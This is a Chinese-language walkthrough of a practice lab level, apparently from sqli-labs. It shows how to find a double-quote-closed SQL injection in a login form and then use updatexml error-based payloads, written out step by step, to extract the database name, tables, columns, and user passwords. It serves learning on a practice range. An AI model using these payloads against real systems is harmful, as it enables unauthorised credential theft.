此文章只用于学习和反思巩固sql注入知识,禁止用于做非法攻击。注意靶场是可以练习的平台,不能随意去尚未授权的网站做渗透测试!!!
`
上一关是典型的布尔盲注或可以报错盲注。
老规矩还是使用万能语句1 or 1=1 和 1 or 1=2发现页面正常,所以排除数字型。输入1'
发现并没有报错说明可能是和双引号闭合有关,再输入1"
发现报错,报错信息为
You have an error in your SQL syntax; check the manual that
corresponds to your MySQL server version for the right syntax to use
near ‘“1"” and password=“” LIMIT 0,1’ at line 1
通过报错信息可以知道是双引号闭合。我们构造payload
1" or 1=1#
1" or 1=2#
发现1=1页面正常,1=2页面异常
细心发现页面正常和异常只会出现提示successfully或failed。就像布尔盲注的ture或false。并没有回显内容。这里明显可以用布尔或者是报错盲注。这里我就用报错注入了,比较简单。
注入语句为
1" order by 3#
注入语句为
1" or updatexml(1,concat(0x3a,(select database()),0x3a),1)#
注入语句为
1" or updatexml(1,concat(0x3a,(select table_name from information_schema.tables where table_schema=database() limit 3,1),0x3a),1)#
注入语句为
1" or updatexml(1,concat(0x3a,(select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 1,1),0x3a),1)#
1" or updatexml(1,concat(0x3a,(select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 2,1),0x3a),1)#
注入语句为
1" or updatexml(1,concat(0x3a,(select password from users limit 0,1),0x3a),1)#
1" or updatexml(1,concat(0x3a,(select username from users limit 0,1),0x3a),1)#
这一关用的是报错注入,布尔盲注也适用。如果不懂报错注入流程可以看我的文章第五关解析。此文章是小白自己为了巩固sql注入而写的,大佬路过请多指教!